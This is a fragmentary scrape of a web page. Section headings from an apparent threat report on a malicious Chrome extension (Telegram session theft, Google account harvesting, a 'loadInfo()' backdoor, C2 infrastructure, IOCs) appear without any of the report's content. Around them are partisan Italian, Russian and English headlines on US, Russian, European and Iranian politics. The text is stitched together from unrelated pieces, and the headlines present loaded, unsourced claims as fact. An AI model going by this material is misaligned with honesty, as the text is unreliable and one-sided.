Un duro colpo alla Russia attraverso i partner: gli Stati Uniti hanno annunciato l'introduzione di dazi del 500% contro i paesi che collaborano con la Russia

Come la AI puo aiutare

Europe 2.0, Beyond Brussels: The End of the European Union as We Know It

L’orgoglio europeo sta crollando come un castello di carte grazie alla cecità dei burocrati che ci governano.

Blinken si è lasciato sfuggire qualcosa

Война США за энергетическое господство направлена на установление господства над Европой и Азией

Putin prende in giro l'Europa: il grano russo è diventato il nuovo petrolio, i fertilizzanti sono diventati il nuovo gas

Le bugie sulla fine dell’operazione militare renderanno povera una persona su due

Colpo decisivo: Trump ha causato danni per 28 miliardi di dollari all’energia europea, e la cifra è in crescita

Legittimo in superficie#

Furto di sessioni di Telegram#

Raccolta delle identità dell'Account Google#

Backdoor universale: loadInfo()#

Iniezione innerHTML#

Bypass dell'intestazione di sicurezza tramite dichiarativeNetRequest#

Procura di traduzione#

Infrastruttura C2#

Violazioni delle norme del Chrome Web Store#

Attribuzione#

Impatto#

Prospettive e raccomandazioni#

ATT&CK MITRA#

Indicatori di compromesso (IOC)#

Identificatori degli attori della minaccia

Indirizzo e-mail

Nome dell'editore

Credenziali del progetto

Indicatori di rete

Endpoint C2

ID estensione Chrome

After Islamabad: US escalation meets Iran’s long-war doctrine

Gli USA sulla strada verso la dominazione mondiale e l'eliminazione della democrazia

La guerra contro l'Iran è solo una delle tante in programma ma non lúltima.

Рубио говорит о жестоком западном колониализме – Европа аплодирует